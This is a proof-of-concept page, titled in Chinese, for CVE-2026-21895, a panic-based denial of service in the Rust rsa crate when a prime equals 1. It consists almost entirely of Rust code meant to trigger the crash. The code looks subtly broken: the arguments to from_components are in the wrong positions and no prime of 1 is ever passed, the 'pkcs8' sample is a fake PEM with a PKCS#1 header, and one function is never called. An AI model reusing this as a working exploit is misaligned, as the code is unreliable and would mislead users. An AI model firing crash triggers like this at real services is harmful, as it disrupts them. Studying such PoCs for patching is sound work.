CVE-2026-21895: Rust RSA库素数为1时panic拒绝服务漏洞

// CVE-2026-21895 PoC - Rust RSA Library Panic with Prime=1 // This PoC demonstrates the vulnerability in rsa crate < 0.9.10 use rsa::{RsaPrivateKey, RsaPublicKey, pkcs8::DecodePrivateKey}; use rand::rngs::OsRng; use num_bigint::BigUint; fn main() { println!("CVE-2026-21895 PoC - RSA crate panic with prime=1"); println!("=================================================\n"); // Valid RSA key generation (works fine) match generate_valid_rsa_key() { Ok(_) => println!("[+] Valid RSA key generation: SUCCESS"), Err(e) => println!("[-] Valid RSA key generation failed: {}", e), } // Trigger the vulnerability with prime=1 println!("\n[*] Attempting to create RSA key with prime=1..."); match create_rsa_key_with_prime_one() { Ok(_) => println!("[+] Key generation succeeded (patched version)"), Err(msg) => println!("[-] Key generation failed with: {}", msg), } } fn generate_valid_rsa_key() -> Result<(), String> { let bits = 2048; let private_key = RsaPrivateKey::new(&mut OsRng, bits) .map_err(|e| format!("Failed to generate RSA key: {}", e))?; Ok(()) } fn create_rsa_key_with_prime_one() -> Result<(), String> { // This should trigger panic in vulnerable versions // or return error in patched versions let p = BigUint::from(1u32); // Invalid prime let q = BigUint::from(3u32); let e = BigUint::from(65537u32); // Attempt to create key - this will panic in vulnerable versions let _key = RsaPrivateKey::from_components(p, q, e, vec![].into_iter()) .map_err(|e| format!("Error: {}", e))?; Ok(()) } // Alternative PoC using pkcs8 format fn poc_with_pkcs8() { // PKCS8 format with invalid components let invalid_pem = r#" -----BEGIN RSA PRIVATE KEY----- MIIBOgIBAAJBALRiMLAHudeSA2D6b0F8p6cXjGUO0yKcF8Y4h7q2n5a3s9Q8x F3K8d2j1v2m4n5o6p7q8r9s0t1u2v3w4x5y6z7A8B9C0D= -----END RSA PRIVATE KEY----- "#; match RsaPrivateKey::from_pkcs8_pem(invalid_pem) { Ok(key) => println!("Key parsed: {}", key), Err(e) => println!("Parse error (expected in patched version): {}", e), } }